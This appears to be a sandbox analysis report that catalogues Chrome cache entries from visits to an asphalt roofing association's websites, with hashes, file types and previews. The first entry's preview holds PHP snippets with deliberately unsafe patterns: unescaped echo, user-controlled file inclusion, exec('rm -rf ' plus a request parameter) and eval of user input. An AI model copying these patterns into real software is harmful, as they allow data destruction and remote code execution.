URL:	https://www.asphaltroofing.org/security.js?v=1713884035214
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, 2 colors, hotspot @7x5
Category:	downloaded
Size (bytes):	326
Entropy (8bit):	2.5493668286760665
Encrypted:	false
SSDEEP:	6:Gl/4n6ls6M94pTiI+mBURd8EOJlZa8BBL:C/s6M94pTJyOZ77
MD5:	B06C243F534D9C5461D16528156CD5A8
SHA1:	BB22807A7C23DAE7D007673B407850438856BBFA
SHA-256:	080627FA359156339E79F118FA66A6937F09FF679FE87E8AFA473B95C8168D35
SHA-512:	CC859C5AB0465DB7733FD47C269B1D6D9DD323F44D2ABCC155C49B6E93E03F15BCE58F4719343ED44FC129683AAD52BBDFAD85B246D1200BD4A8401098CF6648
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/ultimate-responsive-image-slider/assets/css/images/openhand.cur
Preview:	...... ......0.......(... ...@...............................................................................................................................?...w...g...............................................................................................................................................................

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	443780
Entropy (8bit):	5.173668431072506
Encrypted:	false
SSDEEP:	6144:qEfYg5P36xOEokkDM2Qa4dW1CZ88+CteKGa8bnRxoDL:DPeokvdW1CZTmnRK
MD5:	B4B88CB6C103E6EE66D822FC3654C529
SHA1:	CB5EA1B0BCC384FE4C43A2D9A0193F838CA32EB0
SHA-256:	E6835FDA7B27B0B187D5B6912970563B1DBBA93744462BAA62C024DEAF9F11D4
SHA-512:	0591CDF0A80EA114608F63251228369B2A75F003859FCE6E0337CF44A59656BFA3431ED9F0F55807C5350DE1BBE5B51B820317321749D290688A57EAD937FDEF
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/dist/main.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[2],{"+tJ4":function(t,e,n){"use strict";n.d(e,"a",function(){return r});var r=function(t){return function(e){for(var n=0,r=t.length;n<r&&!e.closed;n++)e.next(t[n]);e.closed\|\|e.complete()}}},"+umK":function(t,e,n){"use strict";function r(){}n.d(e,"a",function(){return r})},"/WYv":function(t,e,n){"use strict";function r(t){return!!t&&"function"!=typeof t.subscribe&&"function"==typeof t.then}n.d(e,"a",function(){return r})},0:function(t,e,n){t.exports=n("zUnb")},"0/uQ":function(t,e,n){"use strict";var r=n("6blF"),i=n("/WYv"),o=n("2ePl"),a=n("xTla"),s=n("En8+"),u=n("IUTb"),c=n("pugT"),l=n("S5XQ"),f=n("u67D"),h=n("JcRv"),p=n("Fxb1");function d(t,e){if(!e)return t instanceof r.a?t:new r.a(Object(p.a)(t));if(null!=t){if(function(t){return t&&"function"==typeof t[a.a]}(t))return function(t,e){return new r.a(e?function(n){var r=new c.a;return r.add(e.schedule(function(){var i=t[a.a]();r.add(i.subscribe({next:function(t){r.add(e.schedule(funct

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.3268489633968112
Encrypted:	false
SSDEEP:	48:c396RiRm/fKlaT2gLOiHgmJ1v78sfYhZ9Y4UeTWB5YkiMTqsMufQx+37Kuat:g0RH/bP378sfYhXRHWPKyQ4Ouat
MD5:	58AE88387C35454D5CCE8CB1EB3911B8
SHA1:	F04A86F7CEA571E1679E4003AD761793A377728D
SHA-256:	7365F0F55CFAEFA77EC434ED0F50190FDD6A65F41ECE6DA163CB18AF8A92ECAB
SHA-512:	5007648D4A8012469C371CA8F8C20FAD4A169E9AE427683F38A55D62A9A61511465A168C169296DB990EB931289DFDBE747B7CBD573537A958ADF0AEB558C969
Malicious:	false
Reputation:	low
Preview:	............ .h...&... .... .........(....... ..... ....................................................\|.......... ...........................................2.......................c...................................[..........................................................}............................................................................................b...........K.................*...N...........S......w...........)...PK.q.N.k.......T..........................................K.kHJ.k.J.l..................................................K.l>J.k.J.l.................................................K.mTJ.k.J.k.N.o...............Z....................K.l.K.k.J.k.J.k.J.k.J.n'..................................K.k.J.k.J.k.J.k.J.k.J.lB.................O............f..J.k.J.k.J.k.J.k.J.k.K.lJ.................2................J.k.J.k.J.k.J.k.J.k.L.l-..E.................$....O.p.K.lcJ.k.J.k.J.k.J.k.J.l.........................

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65527), with no line terminators
Category:	downloaded
Size (bytes):	235642
Entropy (8bit):	4.837531714876463
Encrypted:	false
SSDEEP:	768:v5ZgkFkLOrUNR1S6MNhV/Q+06q9V3CwVZKkYmSggHJGSWM444n0f+lRWlOYMabK5:Sf6OY5VWx4dURWlOYMiICaaKf
MD5:	6AD0A4F3D6B64A676751CB405F78528B
SHA1:	FFBCBBD16C3D9F1E864E91729A383E46CDEA41D4
SHA-256:	C65C49B33542F177D75C4906054B5BA6BA909B514BB82452F9D98D82344679BD
SHA-512:	2A22305A8D19D72669EBB13D0DC9A109C9B5E1AC615D8BE9E8503EFED2024B85B0F361985B30668387CA4D21EF7C18A4B393D14188D1D09513FF6FCD11338A82
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-style.css?ver=8.7.4
Preview:	.wc-block-link-button{border:0;border-radius:0;box-shadow:none;color:inherit;display:inline;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin:0;padding:0;text-decoration:inherit;text-decoration:underline;text-shadow:none;text-transform:inherit;vertical-align:baseline}.wc-block-link-button,.wc-block-link-button:active,.wc-block-link-button:focus,.wc-block-link-button:hover{background:transparent}.wc-block-suspense-placeholder{background-color:#ebebeb!important;border:0!important;border-radius:.25rem;box-shadow:none;color:transparent!important;display:block;line-height:1;max-width:100%!important;outline:0!important;overflow:hidden!important;pointer-events:none;position:relative!important;width:100%;z-index:1}.wc-block-suspense-placeholder>*{visibility:hidden}.wc-block-suspense-placeholder:after{-webkit-animation:loading__animation 1.5s ease-in-out infinite;animation:loading__animation 1.5s ease-in-out infinite;b

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fguide-for-professionals&trace_id=af8ad58bd742491c81280911e66fdfe0&cts=2024-04-23T14%3A54%3A22.381Z&hit_id=45ee1a57-8f33-4d50-b895-33b484c016ec&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=1323371992&z=789441327&tce=1713884057086&tcs=1713884056719&tdc=1713884062365&tdclee=1713884061335&tdcles=1713884061237&tdi=1713884061236&tdl=1713884059152&tdle=1713884056719&tdls=1713884056719&tfs=1713884056670&tns=1713884056665&trqs=1713884057087&tre=1713884059551&trps=1713884059120&tles=1713884062365&tlee=0&nt=navigate&LCP=3722&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 7536, version 1.0
Category:	downloaded
Size (bytes):	7536
Entropy (8bit):	7.911731253324186
Encrypted:	false
SSDEEP:	192:340F/mM4Oa0wA2jPOf2X62xqpjjjaT64iSNizw:34sxBwCujqpj/aT6nSYzw
MD5:	04EB8FC57F27498E5AE37523E3BFB2C7
SHA1:	D942AE11706C3F7E511E3C49B0E4574D7AD199C4
SHA-256:	F7B9C3065E55FA3B9E320093612E7B30DCB14355A44EC461247B495A3E729686
SHA-512:	FA6508C8A1A822794036174B0B9DBC6E91B5AFC1FD340381B868EDE6D928DD0F3E66B5A91308D2C0C4C4C64B27DAB7761A904C0B6E6B3C0E3E736E5D6342F365
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/fonts/revicons/revicons.woff?5510888
Preview:	wOFF.......p................................OS/2...D...D...V>(H.cmap.......f.......&cvt ................fpgm..............x;gasp................glyf...........j.!T.head...$...6...6.j=.hhea...\... ...$....hmtx...\|..._....\|c..loca.......Z...Z...maxp...8... ... .[.\|name...X.........+!post.......;...!..O.prep.......V...V....x.c`d..8.......i...C..f\|.`..............08.`xa...?.!.9.a.P..$...f.Cx.c```f.`..F.......\|... -. ..aa`x........./L^..........PT.......@Q+...............,..j2.`d..>...Y..u..x.c`@.F.F.A..@......x..U.v.V..<dp.:d.....8P..).0i.v!........t..>.k.B.V....}=$.t..,..G[g.:.F.#}..k......=.J.I\.u/....q]..OI...$Jj..P..X.Y'X'.. VOU.g.....eID.D...&I..'..g..%I %.....PB5..R.L....q.@.F..uXT.C.'.5...FW9....F..../{..:....1.x.~......?vJN...Tq.V..0._..L.@..bE....t..1=t:..J.F....(....(...........ST.]q..@f.\J.lt.D..&R...N5.....G.......\..<U2.z..3;{q1.n'..p...2ovv.C.W.....L..G..b~>B.Pj~"N$.FX...qW B.1.....S.9tE..f].1....J.a=....~..N$+.gQ..H..c.u..gPK...;2.C.".....3.a.

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fabout-arma%2Fjoin&trace_id=319d5185d5fc45878e7ac3e6a4065fc7&cts=2024-04-23T14%3A54%3A07.955Z&hit_id=27ebcddc-cad3-48e5-be20-7410fd669f56&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=171920188&z=1744638744
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12335
Entropy (8bit):	5.054618400515484
Encrypted:	false
SSDEEP:	192:ujwggNKUmQ4+IVsDkvQtUqfvexPZwoLYccANAQXO32yueQvLs0T+:7gc8jQXexhNLY5cO32Jv+
MD5:	2934456B93EE8BD449958F751677DA56
SHA1:	4BF2D791E7B4119BBCB430565A7ACD1C4B18E8EB
SHA-256:	BB3A6D32E4D7F2D67ACF47DC7E4729AC14FFF7E41B086BDEC15DB1F4A82F6F7E
SHA-512:	A5BC5302F59A93D211C83FAFF09AD70516A449634EF95EAB3DB9B444B5F0B18FB1D62C3CC611C681E7E30371C1C1B23B5F75495A0CC8DEF701F0F87B678B0BA1
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/media/system/js/modal.js
Preview:	/*. SqueezeBox - Expandable Lightbox. . Allows to open various content as modal,. * centered and animated box.. . Inspired by. * ... Lokesh Dhakar.- The original Lightbox v2. * ... Cody Lindley.- ThickBox. . @version..1.0rc1. . @license..MIT-style license. * @author..Harald Kirschner <mail [at] digitarald.de>. * @copyright.Author. */.var SqueezeBox = {...presets: {...size: {x: 600, y: 450},...sizeLoading: {x: 200, y: 150},...marginInner: {x: 20, y: 20},...marginImage: {x: 150, y: 200},...handler: false,...adopt: null,...closeWithOverlay: true,...zIndex: 65555,...overlayOpacity: 0.7,...classWindow: '',...classOverlay: '',...disableFx: false,...onOpen: Class.empty,...onClose: Class.empty,...onUpdate: Class.empty,...onResize: Class.empty,...onMove: Class.empty,...onShow: Class.empty,...onHide: Class.empty,...fxOverlayDuration: 250,...fxResizeDuration: 750,...fxContentDuration: 250,...ajaxOptions: {},. isNewDatabase: false..},...initialize: function(options) {...if

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6542
Entropy (8bit):	5.39363256193057
Encrypted:	false
SSDEEP:	192:pNa5N4NXNO3qNWNIXNENFQNDN8NW3XNtNGqN+rNU7N8NHNs3sNWNiNNJ:vafWdMQcMCFe5KkdjjmUBKtaacMJ
MD5:	249EC1D203F16C8005C823C5429D6D63
SHA1:	8B0093EA71543D5FEB6F3952A6DE52F3FE94B0F0
SHA-256:	3190E9796E3E6B7BDF421C3864F69FCDCF147379B0E3C16C73488E041F6DE805
SHA-512:	D73E33818E1CB8A5B364BBAD1D5B465BE9E8FAF3444BB5625A5FBBBC2586FECCF869685D85481AEF0630B7137B942A5347FEC3BC625210BED2B3F08731480FBA
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Roboto:300,400,500"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');. unicode-ra

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, comment: "Compressed by jpeg-recompress", baseline, precision 8, 500x500, components 3
Category:	downloaded
Size (bytes):	56187
Entropy (8bit):	7.979371885656866
Encrypted:	false
SSDEEP:	1536:Y62BpithqheDDuHz1ZRItHrrBB/seMYnYzLQcHf:QBpiageHz13aHrtB/seM0YzV/
MD5:	58D1250E8C0AFE5B023F1D79FB20385B
SHA1:	D7779105C5073BD46D2259E2F406B1BAA6926075
SHA-256:	80248871238EB2059EFC63A69EABC8129ED9A5C6143718EA34F44766F5CCA6B7
SHA-512:	B9458C01878D07F58902C2AEA0CF695F412AAC0EA03AC92EB3BDC04CD6A548ED5575C3B84B12DA19EC73603DEFE4EBB6A46DD446E8EE3C4E44E24736B0C0D0C4
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/05/AdobeStock_104683960-500x500.jpeg
Preview:	......JFIF.....H.H......Compressed by jpeg-recompress...C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."........................................F.........................!1A.."Qaq..2...#B...R..$3Cbr...S...c..%4d...................................9........................!.1AQ."aq..2.......#..$BRb....C............?..Z..4L}.9..4..M...O...i....}@.2O.......{v.,..H."..G.1L`..# ...q@H.E.2.g..FE.[...o.^G.@.;.h.a....C.e....a.h.r..8.j.D$.&.l.......'9...F=...eI....?N....;..,\.3U...T.. ... ...Q[. .nE@N[...........N8....#:.<.b+.x.J..r^(.By....=..C.9..Pi.+.i/7).69....$G.....$U...R1.....[.... Z...........kh.T.C..[..F...g..Pw0..?...E.....W...%ML.n..jg..=...,...=........... ...9..1.{...M.F.^.N8"..$)k!@.,A....^L....NQ....e-o.a.X...([.P.....{R.F......\&gX.jT....r.p'.Wb...Z.$S0i.B8.~...An..r..q..N...Ul.K..T+6.r.....h...v.:G.C$/.....v.....g..~%.....s..Q9...0..8..t....G.0T..[Kvp...

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 4-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	31868
Entropy (8bit):	7.9515636847210125
Encrypted:	false
SSDEEP:	768:DlS3Bkz9UwNYQhnP+B9xKS7aS4hv3MYP7q8luoJmHIn:pS+hNnhWf92/aYALon
MD5:	53A0A9D6C622EBD4EE841927EC186EBF
SHA1:	C66AA5E63236AB49DA4CA4851B349EC7E76F216A
SHA-256:	9043DCACEE97B1055BFF22AD1D92E296A4EBACB71C04912A57A9198C6252394D
SHA-512:	70EEE3C00211A7E927F7AB40B5C22CA4CAE0574CE4D2A3772220E97F948C3B37F5262B4A6DA231F4DF2C8EE022546797FF258E98801AC5EB59A4C70BB6E96F67
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse.png
Preview:	.PNG........IHDR... ..............0PLTE...............mkqqqQQQ`72`62e0I($000L#.......=Z....\|.IDATx...lk.u...R...D.^..;.t..-.Xt....DL.43h.2/...F.:-........3.}H....L.......S`x..t......r.t.).6i....1..1D\. ..x.{..... .%..H.'.-....\|..^g..._u../.i...g{...cQ....t...#b.....Z....Gd..}..5..!K..W...dGV....'e......)f9.....3u...X.q.x .$;.....NMDW..6....r.J.8.....E.._.l...@.]I.....45D>..8..q...W..t......F,j6..{ .$].`../..gY..Z.$.m.u.C.b._;i..Y.`.n..\..K.#.%E..,.lm..o....+I.....6U....?<.9..+E..Y...m."..\.].8RE..6...J....5....$;3.e.........Y.cK2...em.C.........t.!6.....K<.94.XIR..X.N.......H...M.'..x ..vR...Y...f..r.n..m.e9.&...e..e...Jr....B.w.w}.IFYV.'.P.........c.5...p.{....v....J"...5.J.>...zc..r...4!k'..pQU..fY.BV..\..7..6dEz.}..I..M....+....h...$..b..n(.T..d.Y.v(..W..d.Y.}Y.J..7.J5.(T7d%.@..emc...N.$.......c....,......x .....oI<..gYb.{\%.@.e.w.....e.w...'gY>.]\|_..r.e...>..S_...eY.>..E..!.gY../.gY...}.....Y....>..

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 174, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5188
Entropy (8bit):	7.918248242021582
Encrypted:	false
SSDEEP:	96:91HNqDuQEyrKNIKOL6h9nHgVjNXaiqJtBxDjN1JPvWVGDZweLn:91kDVKNIKOGXYXazTj35vWIn
MD5:	D3550C070254408C904B12BD67EB3532
SHA1:	6EE0E9E5CAD78B109783B28B8627BDEA5806C644
SHA-256:	7CBE391524E7F4DA2FA61959C3D6237C713846B6AEB1A76C6F5BE8D513EEB23A
SHA-512:	D38E43C8BAD1400883E49CF8168CDE8551D2BFF428CB2D1BCE5F4866BD05FDE26F041EAD807BB613C5417C4402A5718332342AB4B77AEF0F4CD7B13B18449A93
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.png
Preview:	.PNG........IHDR...,............ ....PLTEH-&..o_Tk........veL...........veL.s]a,.W..N..s!.t .M..t .t .t .^..F.............................t .N...:2veL.....z...........W.... tRNS..#.<.e..............b@n.....d;.k.....RIDATx...w.8............t.........e....$.w....>.J.R9;....x!.X..AY..D=.Ngs.o.gx..f.=...........LY.t;..e..3,.d2..ne.....~......."X.a.aXS..'...+..a!..}.O.........+..k.0..>..#....R#fE...M..fK6.n..2,u6J=..,...(.\.......W.....\..Xh..F.4,a.Z0..uL............U:.5'=.Z.,.....,...F.......\...s..E#f!9j...\q.+..kFL......_../..A.j6....I.k....{."..f^t.R.g.Q..S.kN"5R.u.X..&........s6......h...p.....BhoK.P.e8.wXd...;Q..VT.+.p.N.o...../....\|.%Tl..-..4Zw..s.Cr".OO.x.3.T.b.........Z..%bX.oU.fn......u`.5,.....=w.k.5...p.s...2..`I......f5...PZ...Yp.!..l.T.....8..ea...=...rF.&....r.H....G.i....R!/..".>;.kn_..P.o..q'yyh.....K8.7{&X.5M......2.....&..c4.k.5]......qX....P.<..lfm'.u...S.......................8..v.{.rX.f..&..s.U..........O*V..r=.B.+.1.p.../..]y..

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 620 x 1571, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21128
Entropy (8bit):	7.421874730669615
Encrypted:	false
SSDEEP:	384:NhBPj1Zv977TAezD+iMrwNoO1RKO+8Uc2ZYB+8PoZ460TIWkRVb0jSITBakV:NzPj/vNDzwAhX5B+8Po2MIFBaw
MD5:	6BEA76D1D558B2BFF4B7DFF84C055363
SHA1:	F63286426B2C06ED48CC4C933A5E12D782BA157C
SHA-256:	49E037D4F5AA5081070676543A3CDA283121D7A622EC88B2EFB54E76AD4DB358
SHA-512:	B7BD286235DFF6EE80ABAABBC5B654DF6C70030DA8661F4B026C1081629662B2394365036C2AB163F4411C459D63A12F44DD96C5468F1AAE346FAB8B1D04EE84
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...l...#.....J.c...ROIDATx...w...?..K.....k.-z-Il...1..Q.b..b9vM....l.....Q......t..."..~k.{s7G.........y^f.5s....f..,........................X..m.2...XJ.k.b.....k/j...K7....u..n...K?..u.=....}:..PC.[....O....~`......s...X...w.........k=....................................................m.2....f..~{.v............u..;.P6%..b8[.>....{..b(+.......R............R....T..........P.z........R................................................................O/........_...va.C..5<... ...............................................................~..... ....k...J....a.M....6................................................................`..!........./.fi...!........................................................................QB.e... ....k...J....a.M....6........................................................_t...XA'..jn`..M.B..@..lB..@..l_}.......j``.:th.1bD.5jT.7n....P...........a...#.6.....RP+....P..[.aK%......._?a.....6/................................

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8123), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	96210
Entropy (8bit):	5.5613373277659255
Encrypted:	false
SSDEEP:	1536:pQEpap7Tcg1hOH+Ej4UG/GGHOSrgeLmR/8KtXiVjUj9oA8TpuQry7PDwyHILXeQT:qv5ceh+xE+T9oA8Tpuum7zoLXeQKcVp9
MD5:	807E066CAADB948551EF33DAF41532F6
SHA1:	926A702E0933156C1927360ECCE204FC746DE7D5
SHA-256:	DCAB4C4CA486481FE9DA613D7D0A853F6FA369C14F025BF01A7DE6EBB284B460
SHA-512:	88534DE333C077B34E19F5CE9199BC4E882FC17FA89EFD0247D7204D533AB79DB8EFEF17B6F4E574BE296CE2921CE8505BF9FFC79E86387B525B9F53B7387181
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/about-arma/join/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. GTM Snippet for Feathr) -->..<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':..new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],..j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=..'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);..})(window,document,'script','dataLayer','GTM-NZGSSK4');</script>... Google tag (gtag.js) -->..<script async src="https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL"></script>..<script>.. window.dataLayer = window.dataLayer \|\| [];.. function gtag(){dataLayer.push(arguments);}.. gtag('js', new Date());.... gtag('config', 'G-YHMWY88VCL');..</script>..<script>var pm_pid = "25878-036c4a38"; var pm_sw = "/security.js"</script><script src="//wds.wesq.me/js/pub.min.js" async></script>....<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<link rel="profile" href

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (63491)
Category:	downloaded
Size (bytes):	292163
Entropy (8bit):	5.372555638461796
Encrypted:	false
SSDEEP:	6144:XNomTl34FOCXHU8TCXuLDWNovwXBwdTDvnTKbl7wnoyJDLaLScsl:XDZ34FxCXuNwXBwdTDvnTKbl7wnoyJDp
MD5:	73C1DA18059838508D9C7FAFAF76AAFE
SHA1:	A8CCC1EB5EF219893F51CD12A28D053649EBAD8D
SHA-256:	48EA29F1197C91FA6AE6707B59B411B7B4BA78A8C7D00F76C6A669EE12A00E2F
SHA-512:	9AEEA4D160C6D395866EE52D331D01FBABDFC4E1ED0FE1F41441D603266DA699D6BBA33B27EA9AD64FC7C47891B5958002A0853E8CEB4FFEC9C97D81FEC60AB6
Malicious:	false
Reputation:	low
